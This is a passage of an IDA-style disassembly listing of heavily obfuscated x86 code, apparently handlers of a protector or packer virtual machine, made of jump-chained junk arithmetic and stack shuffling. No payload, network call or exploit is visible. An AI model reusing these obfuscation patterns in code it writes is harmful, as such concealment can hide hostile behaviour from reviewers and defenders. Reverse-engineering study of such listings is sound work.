		add	ebx, ecx
		pop	ecx
		jmp	loc_5A5735
; ---------------------------------------------------------------------------


loc_592D4D:				; CODE XREF: sub_581EE9+1EF49j
		xor	eax, ecx
		push	ecx
		sub	esp, 4
		mov	[esp-6E66h+arg_6E5C+2],	esi
		mov	esi, 3A4601FCh
		inc	esi
		push	edi
		mov	edi, 1
		sub	esi, edi
		pop	edi
		jmp	loc_596B03
; ---------------------------------------------------------------------------


loc_592D6D:				; CODE XREF: sub_581EE9+11FF8j
		xor	esi, [esp-6E66h+arg_6E5C+2]
		mov	esp, [esp-6E66h+arg_6E5C+2]
		sub	esp, 4
		mov	[esp-6E62h+arg_6E58+2],	ecx
		jmp	loc_599F65
; ---------------------------------------------------------------------------


loc_592D7E:				; CODE XREF: sub_581EE9+204ADj
		push	ebx
		mov	bh, 0D4h
		push	4FB7h
		mov	[esp-6E5Ah+arg_6E50+2],	edx
		mov	dh, 7
		or	dh, 0A4h
		sub	dh, 0F1h
		sub	bh, 78h
		add	bh, dh
		add	bh, 78h
		pop	edx
		push	dx
		jmp	loc_5A5AF3
; ---------------------------------------------------------------------------


loc_592DA1:				; CODE XREF: sub_581EE9+16210j
		mov	edx, [esp-6E5Ch+arg_6E54]
		add	esp, 4
		add	al, 0D8h
		add	al, ch
		push	dx
		mov	dl, 0D8h
		sub	al, dl
		mov	dx, word ptr [esp-6E5Eh+arg_6E54+2]
		add	esp, 2
		pop	ecx
		add	bl, 0C9h
		add	bl, 71h
		push	ecx
		mov	cl, 32h
		or	cl, 26h
		or	cl, 90h
		dec	cl
		jmp	loc_599F13
; ---------------------------------------------------------------------------
		db 89h,	2 dup(24h)
; ---------------------------------------------------------------------------
		add	[esp-6E62h+arg_6E58+2],	4
		pop	esi
		push	edi
		push	esi
		push	451F1579h
		pop	esi
		add	esi, 0DD2E5CADh
		mov	edi, esi
		pop	esi
		jmp	loc_5A4C83
; ---------------------------------------------------------------------------


loc_592DF6:				; CODE XREF: sub_581EE9+23886j
		push	ecx
		mov	ecx, 0CF66DF72h
		push	ecx
		sub	[esp-6E5Ah+arg_6E50+2],	13BB44BEh
		mov	edi, [esp-6E5Ah+arg_6E50+2]
		add	esp, 4
		add	edi, 13BB44BEh
		jmp	loc_59A607
; ---------------------------------------------------------------------------


loc_592E18:				; CODE XREF: sub_581EE9+1FA97j
		pop	esi
		add	ax, bx
		mov	bx, word ptr [esp-6E62h+arg_6E58+2]
		add	esp, 2
		add	ax, 7074h
		sub	esp, 4
		mov	[esp-6E62h+arg_6E58+2],	edi
		mov	di, 5BFBh
		add	di, 0FB01h
		not	di
		jmp	loc_59420A
; ---------------------------------------------------------------------------


loc_592E3E:				; CODE XREF: sub_581EE9+16A9Aj
		pop	edi
		add	eax, ecx
		push	ebp
		jmp	loc_59D7DB
; ---------------------------------------------------------------------------


loc_592E47:				; CODE XREF: sub_581EE9+166C3j
		not	eax
		xchg	eax, ecx
		and	ecx, 2903236Eh
		jmp	loc_596DE0
; ---------------------------------------------------------------------------


loc_592E55:				; CODE XREF: sub_581EE9+14CB8j
		mov	ebx, [esp-6E62h+arg_6E58+2]
		add	esp, 4
		jmp	loc_59BD90
; ---------------------------------------------------------------------------


loc_592E63:				; CODE XREF: sub_581EE9+21D73j
		pop	edi
		xor	edi, 284D2586h
		pop	eax
		xor	edi, 3F0961BBh
		inc	edi
		shr	edi, 1
		shl	edi, 8
		sub	esp, 4
		mov	[esp-6E6Ah+arg_6E60+2],	eax
		mov	eax, 6880719h
		dec	eax
		shr	eax, 7
		jmp	loc_5998A2
; ---------------------------------------------------------------------------


loc_592E8B:				; CODE XREF: sub_581EE9+1521Cj
		sub	edi, 4
		xchg	edi, [esp-6E6Ah+arg_6E60+2]
		pop	esp
		mov	[esp-6E6Eh+arg_6E64+2],	eax
		push	esp
		pop	eax
		add	eax, 4
		push	ebx
		mov	ebx, 4
		sub	eax, ebx
		pop	ebx
		xor	eax, [esp-6E6Eh+arg_6E64+2]
		xor	[esp-6E6Eh+arg_6E64+2],	eax
		jmp	loc_59F58E
; ---------------------------------------------------------------------------


loc_592EB0:				; CODE XREF: sub_581EE9+1A7F4j
		push	esi
		jmp	loc_59DD5F
; ---------------------------------------------------------------------------


loc_592EB6:				; CODE XREF: sub_581EE9+13DD5j
		xor	ebp, edi
		pop	edi
		push	edi
		mov	edi, 4AF82DE2h
		xor	ebp, edi
		pop	edi
		dec	ebp
		sub	ebp, 1
		push	edx
		mov	edx, 42DF629Dh
		not	edx
		inc	edx
		inc	edx
		jmp	loc_595661
; ---------------------------------------------------------------------------


loc_592ED8:				; CODE XREF: sub_581EE9+1A4FAj
		mov	ebx, 9565D58h
		not	ebx
		and	ebx, 635B5E9Dh
		jmp	loc_59A5F6
; ---------------------------------------------------------------------------


loc_592EEA:				; CODE XREF: sub_581EE9+184E1j
		mov	ecx, 5DD03238h
		jmp	loc_5927F2
; ---------------------------------------------------------------------------


loc_592EF4:				; CODE XREF: sub_581EE9+1B55Bj
		add	ebp, 4
		push	eax
		jmp	loc_59D806
; ---------------------------------------------------------------------------


loc_592F00:				; CODE XREF: sub_581EE9+2197Dj
		add	esi, 4
		push	ecx
		mov	ecx, 4
		add	esi, ecx
		pop	ecx
		xchg	esi, [esp-6E66h+arg_6E5C+2]
		jmp	loc_5A31DF
; ---------------------------------------------------------------------------


loc_592F17:				; CODE XREF: sub_581EE9+24D39j
		push	eax
		jmp	loc_5A0933
; ---------------------------------------------------------------------------


loc_592F1D:				; CODE XREF: sub_581EE9+12CBBj
		sub	ecx, 866DD820h
		xor	esi, ecx
		mov	ecx, [esp-6E62h+arg_6E58+2]
		jmp	loc_59CE6A
; ---------------------------------------------------------------------------


loc_592F2D:				; CODE XREF: sub_581EE9+156F6j
		mov	eax, edx
		pop	edx
		add	eax, ebp
		jmp	loc_595B8F
; ---------------------------------------------------------------------------


loc_592F37:				; CODE XREF: sub_581EE9+1659Fj
		mov	edx, eax
		pop	eax
		sub	edx, 32937F71h
		push	1828h
		mov	[esp-6E66h+arg_6E5C+2],	ecx
		mov	ecx, 1CB02A85h
		add	ecx, 0B5B3B2Bh
		add	ecx, 3CC61321h
		or	edx, ecx
		pop	ecx
		jmp	loc_5A70CB
; ---------------------------------------------------------------------------


loc_592F61:				; CODE XREF: sub_581EE9+21920j
		xor	esi, [esp-6E6Ah+arg_6E60+2]
		mov	esp, [esp-6E6Ah+arg_6E60+2]
		idiv	ecx
		push	7B70h
		mov	[esp-6E66h+arg_6E5C+2],	edx
		jmp	loc_59466B
; ---------------------------------------------------------------------------


loc_592F76:				; CODE XREF: sub_581EE9+146EEj
		push	esp
		jmp	loc_5997AA
; ---------------------------------------------------------------------------


loc_592F7C:				; CODE XREF: sub_581EE9+12F39j
		add	ecx, 470F800h
		add	ebx, ecx
		push	[esp-6E62h+arg_6E58+2]
		mov	ecx, [esp-6E5Eh+arg_6E54+2]
		jmp	loc_5A4571
; ---------------------------------------------------------------------------


loc_592F8F:				; CODE XREF: sub_581EE9+1EA7Cj
		push	ebp
		mov	ebp, 5DF1452h
		dec	ebp
		add	ebp, 36260CE9h
		shr	ebp, 6
		inc	ebp
		sub	ebp, 0D9A7F256h
		add	eax, ebp
		pop	ebp
		sub	eax, ecx
		jmp	loc_5968D6
; ---------------------------------------------------------------------------


loc_592FB0:				; CODE XREF: sub_581EE9+1568Ej
		push	6DBCh
		mov	[esp-6E5Ah+arg_6E50+2],	ebx
		mov	bh, dl
		push	edx
		mov	dh, bh
		mov	ah, dh
		mov	edx, [esp-6E56h+arg_6E4C+2]
		add	esp, 4
		pop	ebx
		mov	dl, byte ptr [esp-6E5Eh+arg_6E58+2]
		mov	byte ptr [esp-6E5Eh+arg_6E58+2], ah
		jmp	loc_59CD71
; ---------------------------------------------------------------------------


loc_592FD3:				; CODE XREF: sub_581EE9+21641j
		pop	ecx
		xor	ecx, 378B7A74h
		pop	ebp
		add	eax, ecx
		pop	ecx
		push	0E30h
		mov	[esp-6E66h+arg_6E5C+2],	ebp
		push	48D4189Fh
		mov	ebp, [esp-6E62h+arg_6E58+2]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xor	esi, [esp-6E5Eh+arg_6E54+2]
		xor	[esp-6E5Eh+arg_6E54+2],	esi
		xor	esi, [esp-6E5Eh+arg_6E54+2]
		jmp	loc_596994
; ---------------------------------------------------------------------------


loc_593008:				; CODE XREF: sub_581EE9+25068j
		mov	edx, [esp-6E5Eh+arg_6E54+2]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp-6E5Ah+arg_6E50+2]
		mov	esp, [esp-6E5Ah+arg_6E50+2]
		push	ebp
		push	98F2C1Ch
		jmp	loc_59ED2B
; ---------------------------------------------------------------------------


loc_593027:				; CODE XREF: sub_581EE9+13CCDj
		pop	esi
		pop	[esp-6E56h+arg_6E4C+2]
		pop	esp
		mov	[esp-6E5Eh+arg_6E54+2],	eax
		jmp	loc_5A30DD
; ---------------------------------------------------------------------------


loc_593034:				; CODE XREF: sub_581EE9+1675Ej
		sub	edx, 65A0404h
		jmp	loc_59DC3A
; ---------------------------------------------------------------------------


loc_59303F:				; CODE XREF: sub_581EE9+225BAj
		mov	[esp-6E5Eh+arg_6E54+2],	eax
		push	3907h
		mov	[esp-6E5Ah+arg_6E50+2],	esp
		add	[esp-6E5Ah+arg_6E50+2],	4
		mov	eax, [esp-6E5Ah+arg_6E50+2]
		add	esp, 4
		sub	esp, 4
		mov	[esp-6E5Ah+arg_6E50+2],	esi
		mov	esi, 7B6E457Ah
		or	esi, 532A3602h
		push	ebx
		push	ecx
		push	38BF5609h
		pop	ecx
		inc	ecx
		push	0
		sub	[esp-6E4Eh+arg_6E44+2],	ecx
		mov	ecx, [esp-6E4Eh+arg_6E44+2]
		add	esp, 4
		xor	ecx, 0D5D8CD09h
		push	ecx
		jmp	loc_59648F
; ---------------------------------------------------------------------------


loc_59308B:				; CODE XREF: sub_581EE9+11F82j
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp-6E4Eh+arg_6E44+2]
		jmp	loc_5A52FB
; ---------------------------------------------------------------------------


loc_59309F:				; CODE XREF: sub_581EE9+11760j
		mov	ebp, 56F737E3h
		sub	esp, 4
		mov	[esp+0], edi
		push	ecx
		mov	ecx, 6CDB6887h
		mov	edi, 0B4B4DF76h
		sub	edi, ecx
		pop	ecx
		add	ebp, edi
		jmp	loc_59FD85
; ---------------------------------------------------------------------------


loc_5930BF:				; CODE XREF: sub_581EE9+22C44j
		add	edi, eax
		pop	eax
		xchg	edi, [esp-6E4Eh+arg_6E44+2]
		pop	esp
		push	edx
		mov	edx, esp
		jmp	loc_595AE8
; ---------------------------------------------------------------------------


loc_5930CE:				; CODE XREF: sub_581EE9+1AC0Bj
		xchg	ebx, [esp-6E4Eh+arg_6E44+2]
		mov	esp, [esp-6E4Eh+arg_6E44+2]
		imul	cl
		movzx	cx, ah
		push	esi
		push	esp
		mov	esi, [esp-6E46h+arg_6E3E]
		jmp	loc_599039
; ---------------------------------------------------------------------------


loc_5930E4:				; CODE XREF: sub_581EE9+180CFj
		xor	ebx, 0E20FBF19h
		add	edi, ebx
		pop	ebx
		add	edi, ecx
		sub	edi, 1A85232Ch
		pop	ecx
		push	ebx
		push	2A62h
		mov	[esp-6E46h+arg_6E3E], edi
		mov	edi, 64236A75h
		jmp	loc_59C64E
; ---------------------------------------------------------------------------


loc_593109:				; CODE XREF: sub_581EE9+1DCC9j
		sub	ecx, 52056A6Ah
		sub	ecx, 5D0160C3h
		jmp	loc_5A178E
; ---------------------------------------------------------------------------


loc_59311A:				; CODE XREF: sub_581EE9+229E8j
		mov	edi, ecx
		jmp	loc_59E60B
; ---------------------------------------------------------------------------


loc_593121:				; CODE XREF: sub_581EE9+19E30j
		mov	[esp-6E46h+arg_6E3E], eax
		mov	ah, bh
		push	ebx
		mov	bh, ah
		mov	[ecx], bh
		pop	ebx
		pop	eax
		mov	ebx, [esp+0]
		add	esp, 4
		jmp	loc_5973FA
; ---------------------------------------------------------------------------


loc_593138:				; CODE XREF: sub_581EE9+1C5D4j
		add	esi, 3F9D6F06h
		sub	esi, 61653705h
		add	esi, 4BD7184Ch
		neg	esi
		sub	esi, 33822D9Dh
		jmp	loc_599156
; ---------------------------------------------------------------------------


loc_593157:				; CODE XREF: sub_581EE9+228E9j
		add	ebp, edi
		jmp	loc_59D45B
; ---------------------------------------------------------------------------


loc_59315E:				; CODE XREF: sub_581EE9+18261j
		mov	[esp-6E4Eh+arg_6E44+2],	ebp
		jmp	loc_5A52B8
; ---------------------------------------------------------------------------


loc_593166:				; CODE XREF: sub_581EE9+1FE9Ej
		add	al, bh
		sub	al, 2Fh
		mov	ebx, [esp-6E4Eh+arg_6E44+2]
		add	esp, 4
		sub	al, dl
		jmp	loc_59A8C7
; ---------------------------------------------------------------------------


loc_59317A:				; CODE XREF: sub_581EE9+12049j
		push	ebx
		push	[esp-6E4Eh+arg_6E48+2]
		jmp	loc_5A3D5F
; ---------------------------------------------------------------------------


loc_593184:				; CODE XREF: sub_581EE9+18025j
		add	esi, 4
		add	esi, 4
		xor	esi, [esp+0]
		xor	[esp+0], esi
		xor	esi, [esp+0]
		jmp	loc_59D35A
; ---------------------------------------------------------------------------


loc_59319E:				; CODE XREF: sub_581EE9+17BA6j
		pop	esp
		jmp	loc_59D81E
; ---------------------------------------------------------------------------


loc_5931A4:				; CODE XREF: sub_581EE9+1FE13j
		push	esi
		push	69185F0Ch
		mov	esi, [esp-6E46h+arg_6E3E]
		add	esp, 4
		neg	esi
		add	esi, 3E7D4BD8h
		xor	esi, 918EE145h
		jmp	loc_597E97
; ---------------------------------------------------------------------------


loc_5931C6:				; CODE XREF: sub_581EE9+16BC1j
		sub	edx, 4
		jmp	loc_5A61ED
; ---------------------------------------------------------------------------


loc_5931D1:				; CODE XREF: sub_581EE9+22481j
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_5931D6:				; CODE XREF: sub_581EE9+1036Cj
		mov	ebx, esp
		push	eax
		mov	eax, 0ADE69F3h
		not	eax
		jmp	loc_5A371B
; ---------------------------------------------------------------------------


loc_5931E5:				; CODE XREF: sub_581EE9+234DEj
		push	740Fh
		jmp	loc_594CDD
; ---------------------------------------------------------------------------


loc_5931EF:				; CODE XREF: sub_581EE9+16BF0j
		mov	[esp-6EA8h+arg_6E9E+2],	eax
		push	edi
		push	ecx
		jmp	loc_5A48CC
; ---------------------------------------------------------------------------


loc_5931F9:				; CODE XREF: sub_581EE9+20FC2j
		or	esi, edx
		pop	edx
		jmp	loc_5A4F6C
; ---------------------------------------------------------------------------


loc_593201:				; CODE XREF: sub_581EE9+120F3j
		shr	ebx, 2
		xor	ebx, 778B6883h
		mov	esi, ebx
		jmp	loc_5990AA
; ---------------------------------------------------------------------------


loc_593211:				; CODE XREF: sub_581EE9+15124j
		push	eax
		mov	eax, 38B3157Bh
		and	ebx, eax
		pop	eax
		push	esi
		mov	esi, 39A80C96h
		push	ebp
		mov	ebp, 0FFFFFFFFh
		add	esi, ebp
		jmp	loc_598B8B
; ---------------------------------------------------------------------------


loc_59322D:				; CODE XREF: sub_581EE9+1B420j
		mov	esi, eax
		pop	eax
		jmp	loc_59EE1F
; ---------------------------------------------------------------------------


loc_593235:				; CODE XREF: sub_581EE9+1AF26j
		pop	ebx
		xchg	esi, [esp-6EA4h+arg_6E9A+2]
		jmp	loc_5925C3
; ---------------------------------------------------------------------------


loc_59323E:				; CODE XREF: sub_581EE9+1639Cj
		sub	ebx, eax
		push	ebp
		mov	ebp, 0B32114Fh
		neg	ebp
		jmp	loc_5A3A22
; ---------------------------------------------------------------------------


loc_59324D:				; CODE XREF: sub_581EE9+118A6j
		pop	eax
		add	ebx, 4
		xchg	ebx, [esp-6EA4h+arg_6E9A+2]
		mov	esp, [esp-6EA4h+arg_6E9A+2]
		jmp	loc_5A6EBA
; ---------------------------------------------------------------------------


loc_59325F:				; CODE XREF: sub_581EE9+16CA5j
		neg	ebp
		xchg	ebp, esi
		xor	esi, 475F2DC2h
		shr	esi, 6
		sub	esi, 0D9511236h
		xor	ebx, esi
		jmp	loc_59FD12
; ---------------------------------------------------------------------------


loc_593279:				; CODE XREF: sub_581EE9+247A3j
		push	58A3h
		jmp	loc_5A022D
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	eax
		sbb	[esp-6EA4h+arg_6E9A+2],	eax
		pushf
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_593291:				; CODE XREF: sub_581EE9+1A0EFj
		shr	edx, 1
		cmp	eax, edx
		jz	loc_593E87
		push	edx
		mov	edx, 20h
		sub	edx, 21EB3938h
		add	edx, edi
		push	1B8Bh
		mov	[esp-6E98h+arg_6E8E+2],	ebx
		mov	ebx, 21EB3938h
		add	edx, ebx
		pop	ebx
		push	eax
		push	ecx
		mov	ecx, 0
		sub	esp, 4
		mov	[esp+0], edx
		mov	edx, ecx
		mov	eax, edx
		pop	edx
		pop	ecx
		mov	[edx], eax
		pop	eax
		push	[esp-6E9Ch+arg_6E92+2]
		jmp	loc_59D3F4
; ---------------------------------------------------------------------------


loc_5932D7:				; CODE XREF: sub_581EE9+17FA9j
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp-6E98h+arg_6E8E+2]
		pop	esp
		jmp	loc_598090
; ---------------------------------------------------------------------------
		push	ebp
		push	3797h
		mov	[esp-6E94h+arg_6E8A+2],	esp
		add	[esp-6E94h+arg_6E8A+2],	4
		jmp	loc_59B3B8
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp-6E94h+arg_6E8A+2]
		sub	esp, 4
		mov	[esp+0], eax
		push	1D27h
		mov	[esp-6E8Ch+arg_6E84], esp
		add	[esp-6E8Ch+arg_6E84], 4
		pop	eax
		sub	esp, 4
		jmp	loc_598C72
; ---------------------------------------------------------------------------


loc_593320:				; CODE XREF: sub_581EE9+1FF36j
		mov	eax, esi
		pop	esi
		jmp	loc_594B9A
; ---------------------------------------------------------------------------


loc_593328:				; CODE XREF: sub_581EE9+23653j
		push	777Dh
		mov	[esp-6E8Ch+arg_6E84], ebx
		mov	ebx, 4CE224F1h
		add	edi, ebx
		mov	ebx, [esp-6E8Ch+arg_6E84]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		pop	ebp
		add	esi, edi
		pop	edi
		sub	eax, 2E8B42D0h
		sub	eax, 39ED657Fh
		sub	eax, 3F942C26h
		add	eax, esi
		jmp	loc_5A420F
; ---------------------------------------------------------------------------


loc_593367:				; CODE XREF: sub_581EE9+1E7DCj
		add	al, 0EEh
		add	al, bl
		sub	al, 0EEh
		jmp	loc_5A718C
; ---------------------------------------------------------------------------


loc_593372:				; CODE XREF: sub_581EE9+1E209j
		add	al, 53h
		add	al, ch
		sub	al, 53h
		jmp	loc_5A0D9F
; ---------------------------------------------------------------------------


loc_59337D:				; CODE XREF: sub_581EE9+20516j
		mov	ecx, [esp-6E94h+arg_6E8A+2]
		jmp	loc_595E06
; ---------------------------------------------------------------------------
		push	ebx
		push	1ED377C1h
		jmp	loc_59CE14
; ---------------------------------------------------------------------------


loc_593390:				; CODE XREF: sub_581EE9+18212j
		sub	esp, 2
		mov	word ptr [esp-6E88h+arg_6E80], cx
		mov	cl, 0B8h
		add	bh, cl
		pop	cx
		add	al, bh
		mov	ebx, [esp-6E8Ah+arg_6E80+2]
		add	esp, 4
		jmp	loc_596234
; ---------------------------------------------------------------------------


loc_5933B0:				; CODE XREF: sub_581EE9+2340Dj
		push	edi
		jmp	loc_59C1D0
; ---------------------------------------------------------------------------


loc_5933B6:				; CODE XREF: sub_581EE9+12A1Bj
		push	edx
		sub	esp, 4
		mov	dword ptr [esp-6E82h+arg_6E7A],	ecx
		push	77C5E2Bh
		push	[esp-6E7Eh+arg_6E76]
		pop	ecx
		add	esp, 4
		sub	esp, 4
		mov	[esp-6E7Eh+arg_6E76], esi
		mov	esi, 0FFFFFFFFh
		sub	ecx, esi
		pop	esi
		add	ecx, 4F7AD937h
		jmp	loc_5A3262
; ---------------------------------------------------------------------------


loc_5933E5:				; CODE XREF: sub_581EE9+1F184j
		mov	ecx, dword ptr [esp-6E82h+arg_6E7A]
		add	esp, 4
		push	esi
		mov	esi, esp
		push	ebx
		jmp	loc_5A3CAE
; ---------------------------------------------------------------------------


loc_5933F7:				; CODE XREF: sub_581EE9+21F78j
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_5933FC:				; CODE XREF: sub_581EE9+24F66j
		xchg	esi, [esp-6E7Eh+arg_6E76]
		mov	esp, [esp-6E7Eh+arg_6E76]
		sub	ebx, ebp
		jmp	loc_5A3899
; ---------------------------------------------------------------------------


loc_593409:				; CODE XREF: sub_581EE9+1FC41j
		dec	edi
		xor	edi, 657C0826h
		push	ebp
		jmp	loc_59400A
; ---------------------------------------------------------------------------


loc_593416:				; CODE XREF: sub_581EE9+1C4E3j
		pop	dword ptr [esp]
		pop	esp
		push	0FA2h
		mov	[esp-6E7Eh+arg_6E76], ecx
		push	4901h
		mov	[esp], esi
		jmp	loc_5A0F2B
; ---------------------------------------------------------------------------


loc_59342F:				; CODE XREF: sub_581EE9+15D18j
		not	ebp
		jmp	loc_59A098
; ---------------------------------------------------------------------------


loc_593436:				; CODE XREF: sub_581EE9+16E64j
		and	ecx, 59015EC3h
		jmp	loc_596BBD
; ---------------------------------------------------------------------------


loc_593441:				; CODE XREF: sub_581EE9+1F03Dj
		add	ebp, edx
		pop	edx
		add	ebp, 4
		xchg	ebp, [esp-6E7Eh+arg_6E76]
		pop	esp
		push	3337h
		mov	[esp-6E7Eh+arg_6E76], ebp
		push	esp
		pop	ebp
		jmp	loc_599714
; ---------------------------------------------------------------------------


loc_59345D:				; CODE XREF: sub_581EE9+213E3j
		push	edx
		mov	edx, 37817B0Eh
		inc	edx
		push	ebx
		mov	ebx, 1FE7329Ah
		or	edx, ebx
		jmp	loc_59E6C8
; ---------------------------------------------------------------------------
		push	dword ptr [edi+2Ch]
		jmp	loc_59FAAC
; ---------------------------------------------------------------------------


loc_593479:				; CODE XREF: sub_581EE9+11AB1j
		add	eax, 0F85E81CBh
		mov	edx, eax
		jmp	loc_593C05
; ---------------------------------------------------------------------------


loc_593485:				; CODE XREF: sub_581EE9+13932j
		sub	esp, 4
		mov	[esp-6E6Eh+arg_6E64+2],	ecx
		sub	esp, 4
		mov	[esp-6E6Ah+arg_6E60+2],	ebx
		push	ecx
		mov	ch, 5Dh
		jmp	loc_59E0E5
; ---------------------------------------------------------------------------


loc_59349C:				; CODE XREF: sub_581EE9+22E3Dj
		pop	esi
		xor	ebx, 15EBA58h
		add	esi, ebx
		mov	ebx, [esp-6E6Ah+arg_6E60+2]
		jmp	loc_59498F
; ---------------------------------------------------------------------------


loc_5934AD:				; CODE XREF: sub_581EE9+1CFE5j
		push	ebp
		jmp	loc_59F066
; ---------------------------------------------------------------------------


loc_5934B3:				; CODE XREF: sub_581EE9+11BC2j
		pop	edx
		sub	bl, al
		jmp	loc_59431C
; ---------------------------------------------------------------------------


loc_5934BB:				; CODE XREF: sub_581EE9+156D0j
		not	ebp
		shr	ebp, 3
		shl	ebp, 8
		jmp	loc_5A2B23
; ---------------------------------------------------------------------------


loc_5934C8:				; CODE XREF: sub_581EE9+2001Dj
		pop	esi
		jmp	loc_5A5AA2
; ---------------------------------------------------------------------------


loc_5934CE:				; CODE XREF: sub_581EE9+1A5D3j
		push	1718h
		jmp	loc_5A46A0
; ---------------------------------------------------------------------------


loc_5934D8:				; CODE XREF: sub_581EE9+228ABj
		or	ebx, edx
		pop	edx
		jmp	loc_5924ED
; ---------------------------------------------------------------------------


loc_5934E0:				; CODE XREF: sub_581EE9+1C998j
		xor	eax, [esp-6E6Eh+arg_6E64+2]
		xor	[esp-6E6Eh+arg_6E64+2],	eax
		not	eax
		xchg	eax, [esp-6E6Eh+arg_6E64+2]
		push	[esp-6E6Eh+arg_6E64+2]
		jmp	loc_59A4FC
; ---------------------------------------------------------------------------


loc_5934F3:				; CODE XREF: sub_581EE9+13411j
		shl	esi, 3
		jmp	loc_59F0D1
; ---------------------------------------------------------------------------


loc_5934FB:				; CODE XREF: sub_581EE9+1F961j
		pop	edx
		pop	edx
		sub	eax, 0ADF1CFAh
		add	eax, 1CDB1BC9h
		jmp	loc_594744
; ---------------------------------------------------------------------------


loc_59350C:				; CODE XREF: sub_581EE9+127E6j
		push	[esp-6E72h+arg_6E6E]
		pop	ecx
		pop	[esp-6E72h+arg_6E68+2]
		pop	esp
		push	478Ch
		mov	[esp-6E76h+arg_6E6E], ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_5948F1
; ---------------------------------------------------------------------------


loc_59352A:				; CODE XREF: sub_581EE9+18897j
		xor	al, 3Ch
		sub	bh, 55h
		sub	bh, 12h
		sub	bh, al
		add	bh, 12h
		add	bh, 55h
		pop	eax
		xor	al, bh
		mov	ebx, [esp-6E7Ah+arg_6E72]
		add	esp, 4
		push	ecx
		push	esp
		pop	ecx
		jmp	loc_59273A
; ---------------------------------------------------------------------------


loc_59354B:				; CODE XREF: sub_581EE9+2297Ej
		add	cl, 3
		jmp	loc_594F15
; ---------------------------------------------------------------------------


loc_593553:				; CODE XREF: sub_581EE9+23E5Cj
		neg	esi
		jmp	loc_5A117B
; ---------------------------------------------------------------------------


loc_59355A:				; CODE XREF: sub_581EE9+19CDCj
		pop	eax
		jmp	loc_5982D5
; ---------------------------------------------------------------------------


loc_593560:				; CODE XREF: sub_581EE9+1DDEBj
		mov	edi, eax
		mov	eax, [esp-6E7Eh+arg_6E76]
		add	esp, 4
		jmp	loc_5A282B
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	eax
		adc	[esp-6E86h+arg_6E7C+2],	eax
		pushf
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_59357E:				; CODE XREF: sub_581EE9+1C8F5j
		push	dword ptr [esp-6E82h+arg_6E7A]
		pop	edx
		push	edi
		mov	edi, esp
		jmp	loc_5929C9
; ---------------------------------------------------------------------------


loc_59358A:				; CODE XREF: sub_581EE9+14CCFj
		not	ebx
		add	ebx, 0A1EB6AC8h
		xor	edi, ebx
		jmp	loc_59B98B
; ---------------------------------------------------------------------------


loc_593599:				; CODE XREF: sub_581EE9+15F33j
		add	[esp-6E7Eh+arg_6E76], 4
		pop	[esp-6E7Eh+arg_6E76]
		add	dword ptr [esp-6E82h+arg_6E7A],	4
		pop	ecx
		push	ebp
		jmp	loc_597330
; ---------------------------------------------------------------------------


loc_5935B1:				; CODE XREF: sub_581EE9+12F28j
		not	edi
		sub	edi, 0A9E2AEDh
		push	ebx
		mov	ebx, 8AF4AF1Fh
		push	50B5h
		mov	[esp], edx
		mov	edx, 513167BDh
		add	edi, edx
		mov	edx, [esp]
		add	esp, 4
		sub	edi, ebx
		push	eax
		mov	eax, 72141F1Ch
		push	edi
		mov	edi, 3C0F3355h
		or	eax, edi
		mov	edi, [esp-6E76h+arg_6E6E]
		add	esp, 4
		sub	eax, 507F6535h
		jmp	loc_5A3924
; ---------------------------------------------------------------------------


loc_5935F7:				; CODE XREF: sub_581EE9+15119j
		push	ecx
		jmp	loc_592445
; ---------------------------------------------------------------------------


loc_5935FD:				; CODE XREF: sub_581EE9+13E38j
		pop	ebp
		inc	ebp
		and	ebp, 35462287h
		sub	ebp, 0ACD71295h
		mov	edx, ebp
		pop	ebp
		xor	edx, eax
		pop	eax
		add	eax, edx
		mov	edx, dword ptr [esp-6E82h+arg_6E7A]
		jmp	loc_593D3A
; ---------------------------------------------------------------------------


loc_59361B:				; CODE XREF: sub_581EE9+18112j
		shl	eax, 6
		jmp	loc_5A02D7
; ---------------------------------------------------------------------------


loc_593623:				; CODE XREF: sub_581EE9+25264j
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, dword ptr [esp-6E82h+arg_6E7A]
		jmp	loc_598F04
; ---------------------------------------------------------------------------


loc_593636:				; CODE XREF: sub_581EE9+15956j
		sub	esi, 4
		xchg	esi, dword ptr [esp-6E82h+arg_6E7A]
		pop	esp
		mov	[esp-6E86h+arg_6E7C+2],	ebx
		jmp	loc_599C47
; ---------------------------------------------------------------------------


loc_593648:				; CODE XREF: sub_581EE9+2137Bj
		pop	ecx
		jmp	loc_59309F
; ---------------------------------------------------------------------------


loc_59364E:				; CODE XREF: sub_581EE9+23610j
		mov	ecx, 221D58C8h
		and	ecx, 27B30A97h
		jmp	loc_5A2C11
; ---------------------------------------------------------------------------


loc_59365E:				; CODE XREF: sub_581EE9+19061j
		xchg	esi, [esp-6E8Ah+arg_6E80+2]
		mov	esp, [esp-6E8Ah+arg_6E80+2]
		mov	[esp-6E8Ah+arg_6E80+2],	ebx
		jmp	loc_59830D
; ---------------------------------------------------------------------------


loc_59366C:				; CODE XREF: sub_581EE9+1571Fj
		mov	esp, [esp-6E8Ah+arg_6E80+2]
		mov	word ptr [esp-6E8Ah+arg_6E80+2], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_59367F:				; CODE XREF: sub_581EE9+213FEj
		push	ecx
		mov	ecx, 60194344h
		dec	ecx
		neg	ecx
		xor	ecx, 9FE6BCB9h
		add	ebx, ecx
		pop	ecx
		add	ebx, 4
		xchg	ebx, [esp-6E84h+arg_6E7C]
		pop	esp
		pop	eax
		add	al, 0A1h
		add	al, 0BCh
		add	al, dl
		sub	al, 0BCh
		jmp	loc_59F524
; ---------------------------------------------------------------------------


loc_5936A6:				; CODE XREF: sub_581EE9+16101j
		pop	ebx
		sub	esp, 4
		mov	[esp-6E8Ch+arg_6E84], eax
		push	ecx
